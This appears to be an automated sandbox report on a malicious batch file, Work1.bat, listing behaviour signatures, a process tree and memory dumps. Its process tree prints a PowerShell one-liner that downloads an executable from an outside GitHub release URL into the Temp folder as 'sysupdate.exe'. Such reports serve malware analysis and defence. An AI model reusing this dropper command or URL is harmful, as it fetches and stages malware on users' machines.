Analysis

  • max time kernel
    149s
  • max time network
    94s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260513-en
  • resource tags

    arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    08/08/2026, 22:26

General

  • Target
    Work1.bat
  • Size 3KB
  • Sample260808-2cm3psff56
  • SHA256 2d13753d039643a9558f4bab977fea2f0a9297999d4a668800c750d06988e892
  • MD5 SHA1 SHA512 TLSH
Score
10/10

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    https://github.com/Dopaminecash/Trashdata/releases/download/New/AntiCrashDefender.exe

Signatures

  • Badlisted process makes network request 2 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 5 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Work1.bat"
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:5056
    • C:\Windows\system32\net.exe
      net session
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:5872
      • C:\Windows\system32\net1.exe
        C:\Windows\system32\net1 session
        3⤵
          PID:4500
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "$url='https://github.com/Dopaminecash/Trashdata/releases/download/New/AntiCrashDefender.exe'; $temp='C:\Users\Admin\AppData\Local\Temp\sysupdate.exe'; Write-Host '[Γåô] Downloading file...' -ForegroundColor Yellow; $client=New-Object System.Net.WebClient; try { $client.DownloadFile($url, $temp); Write-Host '[Γ£ô] Download complete!' -ForegroundColor Green } catch { Write-Host '[Γ£ù] Download FAILED!' -ForegroundColor Red; Write-Host $_.Exception.Message -ForegroundColor Red; Read-Host 'Press Enter to exit'; exit }"
        2⤵
        • Badlisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:944
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /S /D /c" dir "C:\Users\Admin\AppData\Local\Temp\sysupdate.exe" "
        2⤵
          PID:2756
        • C:\Windows\system32\find.exe
          find "sysupdate.exe"
          2⤵
            PID:1980

        Network

              MITRE ATT&CK Enterprise v16

              Replay Monitor

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              Downloads

              __PSScriptPolicyTest_iope15t2.oup.ps1

              • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_iope15t2.oup.ps1
              • Size 60B
              • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
              • MD5 SHA1 SHA512 TLSH

              memory/944-0-0x00000224E210A000-0x00000224E210B000-memory.dmp

              memory/944-7-0x00000224E1560000-0x00000224E1582000-memory.dmp

              memory/944-8-0x00000224E1940000-0x00000224E2402000-memory.dmp

              memory/944-9-0x00000224E1940000-0x00000224E2402000-memory.dmp

              memory/944-10-0x00000224E1940000-0x00000224E2402000-memory.dmp

              memory/944-11-0x00000224E1940000-0x00000224E2402000-memory.dmp

              memory/944-19-0x00000224E1940000-0x00000224E2402000-memory.dmp